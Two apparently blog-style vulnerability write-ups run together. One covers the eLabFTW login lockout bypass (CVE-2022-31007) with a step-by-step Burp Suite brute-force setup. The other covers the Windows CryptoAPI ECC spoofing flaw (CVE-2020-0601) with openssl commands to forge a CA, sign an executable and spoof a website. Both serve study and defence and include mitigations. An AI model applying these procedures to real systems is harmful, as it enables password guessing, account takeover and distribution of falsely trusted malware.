Introduction:

eLabFTW is a free and open source electronic laboratory notebook for researchers.1 Once installed on a server, it allows researchers to track their experiments, but also to manage their assets in the lab (antibodies, mouse, siRNAs, proteins, etc.).

Affected version:

This vulnerability affects users of the eLabFTW before 4.1.0, it allows attackers to bypass a bruteforce protection mechanism by using many different forged PHPSESSID values in HTTP Cookie header.

CVSS v3:

• CvSS Score 6.5

• Confidentiality Impact Partial

• Integrity Impact Partial

• Access Complexity Low

• Vulnerability type Gain Access

• Authentication Required

• Availability Impact Partial

Mitigation:

• Create a readFailedLoginByIp function on app/models/Logs.php to execute a query where the user field is REMOTE_ADDR and the body is Failed login attempt.

• Invoke readFailedLoginByIp function on login.php to validate if the count has reached the failed attempt limit and is banned.

• Or can be se the method recommended by OWASP with Device Cookies.

This mechanism will not impact users and will effectively thwart any brute-force attempts at guessing passwords. How it works quickly

• Successful login will create a cookie on the device

• Trying too many passwords from an untrusted device (no device cookies) will lock the account

• A locked account can only log in from a trusted device

• Even a good password guess on a locked account will be unsuccessful

Technical Analysis:

This section will explain how the lockout process works by testing the login page while also reviewing the source code and then making an attack process.

Lockout Process:

Assuming the administrator email is already known as “administrator@elabw.local” with a wrong password submitted in the login form will produce a failed login message. See Appendix A to enumerate valid email accounts.

From the flash messages above, failing 3 times will result in being banned for 1 hour. Let’s find out where in the source code these messages are triggered.

From the grep result above there are two files triggering the error messages: LoginController.php and login.html. Upon further inspection in LoginController.php file at line 74 there is an if-else validation for login failed attempt.

The code above will set failed_attempt key with value 1 in $Session variable if it’s not exist or, increment the value if it does. Because PHP handles and tracks $Session variables using PHPSESSID in a Cookie request header, which is controlled by the user, the bypass is very obvious. Simply using random value in PHPSESSID or, completely removing the Cookie header on each request to login.php will force the application to create a new session and the failed_attempt key will always be set to 1.

When inspecting the login page a hidden input called formkey was found and it’s required along with email and password as a data submitted to LoginController.php.

Attack Process:

This section will assemble what was found when identifying how the lockout process works.

1. Make a GET request to login.php

• Extract PHPSESSID from the response header

• Extract formkey from the response body

2. Make a POST request to LoginController.php with PHPSESSID and formkey from step 1 included and, use valid email address and wordlists for password on data field

3. Follow url redirections from step 2 response location header

• If url redirect location is login.php, automatically remove the Cookie header

• If url redirect location is not login.php, the attack is succeed.

Exploitation:

The exploit will use Burp Suite’s Intruder3 tool to automate the attack process. First step is to extract PHPSESSID and formkey from the login.php assuming the request was already made from the browser through Burp Suite Proxy. Navigating to Proxy > HTTP History, right-clicking on the GET request /login.php and select Send to Intruder:

Now navigate to Intruder window and choose Positions tab and remove a Cookie header if it exists:

Next, choose the Options tab and scroll down to Grep Extract. Tick Extract the following items from responses and set Maximum capture length to 150:

Click Add button then Refetch response and notice Set-Cookie header is being set. SelectPHPSESSID value and click OK:

Click Add button again and do the same for formkey value:

Select Always option on Redirections:

Navigate toHTTP History tab onProxy window then select POST /app/controllers/LoginController.php and copy the raw request:

Go back to Positions tab on Intruder window and paste copied raw request in the editor and then click Add § button to set a mark on these fields: PHPSESSID,password,formkey and set Attack type to Pitchfork:

Next, clicking the Payloads tab to set 3 payloads. Payload set 1 for PHPSESSID cookie value using “Recursive Grep”

Payload set 2 for password and set Payload type to “Simple list” then click Load to choose a small wordlist file from /usr/share/wordlists/wfuzz/others/common_pass.txt:

Payload set 3 for formkey using “Recursive Grep”:

Using Mitmproxy command-line mitmdump as upstream proxy to automatically remove Cookie header when following a redirect location request to /app/controllers/../../login.php.

Navigate to Project options > Connections > Upstream Proxy Servers, toggle Override user options and click Add button. Specify the Destination host to target domain elabw.local, Proxy host to 127.0.0.1 and Proxy port: 8081 and click OK:

Go back to Intruder window and start the attack by clicking on Start attack button:

See image above the Payload1 values are always changing and these values are taken from PHPSESSID columns for the next request. Forcing the application to create a new session so the failed_attempt key will always be set to 1. The lockout process successfully bypassed.

Notice in the highlighted request, the Length size is bigger than others and in the Response 1 tab, the Location header is pointed at “../../experiments.php” meaning the attack is successful.

Workarounds:

The only correct way to address this is to upgrade to version 4.1.0. Adding rate limitation upstream of the eLabFTW service is of course a valid option, with or without upgrading.

Reference:

1. https://www.cvedetails.com/cve/CVE-2022-31007/

2. https://github.com/elabftw/elabftw/security/advisories/GHSA-937c-m7p3-775v

#burp_suite #account_bypass #elabFTW #CVE-2022-31007

Vulnerability Details:

A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source.

ECC relies on different parameters. These parameters are standardized for many curves. However, system didn’t check all these parameters. The parameter G (the generator) was not checked, and the attacker can therefore supply their own generator, such that when system tries to validate the certificate against a trusted CA, it’ll only look for matching public keys, and then use the generator of the certificate.

In order to yield the same public key to spoof the certificate, private key is set to 1

public Key = Private Key * Generator

Public Key = Generator

Trusted public key is used as the generator of spoofing certificate; Generator is not validated by system

MicrosoftECCProductRootCertificateAuthority.cer is by default a trusted root certificate authority (CA) using ECConWindows10. Anything signed with this certificate will therefore automatically be trusted.

CVSS v3:

• Base Code 5.8

• Confidentiality Impact Partial

• Integrity Impact Partial

• Access Complexity Medium

• Authentication not required

• Availability Impact non

Mitigation:

Microsoft Windows 2020 updates had been released to patch CVE-2020-0601 vulnerability.

Major Impacted Browsers:

• Windows 10: Version 1607

• Windows 10 Version 1709

• Windows 10 Version 1803

• Windows 10 Version 1809

• Windows 10 Version 1903

• Windows 10 Version 1909

• Windows Server 2016-

• Windows Server 2016 Version 1803

• Windows Server 2016 Version 1903

• Windows Server 2016 Version 1909

• Windows Server 2019-

Exploitation:

Files location – https://packetstormsecurity.com/files/author/14686

Extract the public key from the trusted CA

ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Generate a new x509 certificate based on this key. This will be spoofed CA

openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Generate a new key. It will be used to create a code signing certificate, which we will sign with our own CA

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Next, create a new certificate signing request (CSR)

openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls

Sign new CSR with spoofed CA and CA key. This certificate will expire in 2047, whereas the real trusted Microsoft CA will expire in 2043.

ope

openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key –CAcreateserial
-out cert.crt -days 10000 -extfileopenssl_tls.conf -extensions v3_tls

Pack the certificate, its key and the spoofed CA into a PKCS12 file for signing executables

openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code 
Signing" -out cert.p12

Sign your executable with PKCS12 file

osslsigncode sign -pkcs12 cert.p12 -n "Signed" -in 7z1900-x64.exe -out 7z1900- x64_signed.exe

In windows VM, navigate to C:\Windows\System32\drivers\etc\hosts

Add IP address of Ubuntu VM and URL - https://www.google.com

Files cert.crt, cert.key, and spoofed_ca.crt are used to serve content. Add the spoofed_ca.crt as a certificate chain in your server’s HTTPS configuration. Configure “index.js” server file.

Server is started in Ubuntu VM

In Windows VM, open browser and navigate to https://www.google.com.

Error - “Your connection isn’t private” is displayed

Check certificate information. It is changed to the details of the spoofed certificate

The CA Root certificate is not trusted because it is not in the Trusted Root Certification Authorities store

Export the certificate

Install the spoofed certificate in Trusted Root Certification Authorities

Spoofed Certificate is in Trusted Root Certification Authorities

Open Browser – Internet Explorer and navigate to https://www.google.com

Spoofed CA is validated by web browser as Trusted Root CA and original https://www.google.comcontent is replaced with the incorrect information as mentioned in “index.js” file.

CVE-2020-0601 – Windows incorrect ECC certificate validation vulnerability is implemented

Reference:

– https://nvd.nist.gov/vuln/detail/CVE-2020-0601

– https://packetstormsecurity.com/files/author/14686/

– github.com-ollypwn-CVE-2020-0601_-_2020-01-17_10-09-11

#CryptoAPI #webbrowser #microsoft #certificate #certificatevalidation #CVE-2020-0601